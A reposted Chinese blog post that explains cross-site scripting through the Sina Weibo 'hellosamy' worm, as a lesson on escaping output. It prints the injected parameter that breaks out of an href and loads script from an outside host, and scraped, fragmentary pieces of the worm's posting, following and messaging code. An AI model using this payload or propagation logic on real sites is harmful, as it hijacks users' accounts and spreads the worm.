天天看点

XSS-从weibo蠕虫事件学习

XSS攻击:跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。故将跨站脚本攻击缩写为XSS。XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。

Xss的例子(以新浪微博的6.9的hellosamy蠕虫事件为例):

sina的名人堂页面页面上存在这么个链接

其实在服务器端是这么写的(猜测,真实代码长啥样不知道,但是一定是忘记做转义就输出了):

其中uname并没有做htmlspecialchars。相当于是直接由用户输入,然后输出在页面上了。

这样的html就是存在xss漏洞

好了,这个漏洞被发现了,下面要利用它做什么呢?

1 将uname设置成xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update

这样这个url就变成了

<a href="http://images.cnblogs.com/cnblogs_com/yjf512/201203/201203081324506096.jpg"></a>

其中的引号被封闭了,然后这个页面自动运行了一段js脚本

这个js脚本做了这样的事情:

1 发送一个微博(这个是之所以成为蠕虫的原因,这个微博中附带着同样的一个连接)

2 加关注uid为2201270010

3 发私信,向好友传播链接

1

2

3

4

5

6

7

8

9

10

11

<code>try</code><code>{</code>

<code>}</code>

<code>catch</code><code>(e){}</code>

<code>main();</code>

其中就是在打开的页面加入了&lt;script节点&gt;,并执行

main中是发送微博,加关注,发私信三个动作

当5000秒后,当前页重新定位到public/topic上

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

<code>function main(){</code>

<code>publish();</code>

<code>follow();</code>

<code>message();</code>

比如

<code>function publish(){</code>

<code>data =</code><code>'content='</code> <code>+ random_msg() +</code><code>'&amp;pic=&amp;styleid=2&amp;retcode='</code><code>;</code>

<code>post(url,data,</code><code>true</code><code>);</code>

模拟post请求,由于这个js是在weibo网页上调用的,所以就没有跨域问题

直接post就可以产生这个效果

注:这次事件中还用到了短链接服务

这样能增加用户的点击成功率

事实证明,建站是需要非常小心的,每个页面,每个输出,如果有一两个漏洞,都可能造成全站的大灾难!!引以为戒!

本文转自轩脉刃博客园博客,原文链接:http://www.cnblogs.com/yjf512/archive/2012/03/08/2385093.html,如需转载请自行联系原作者

继续阅读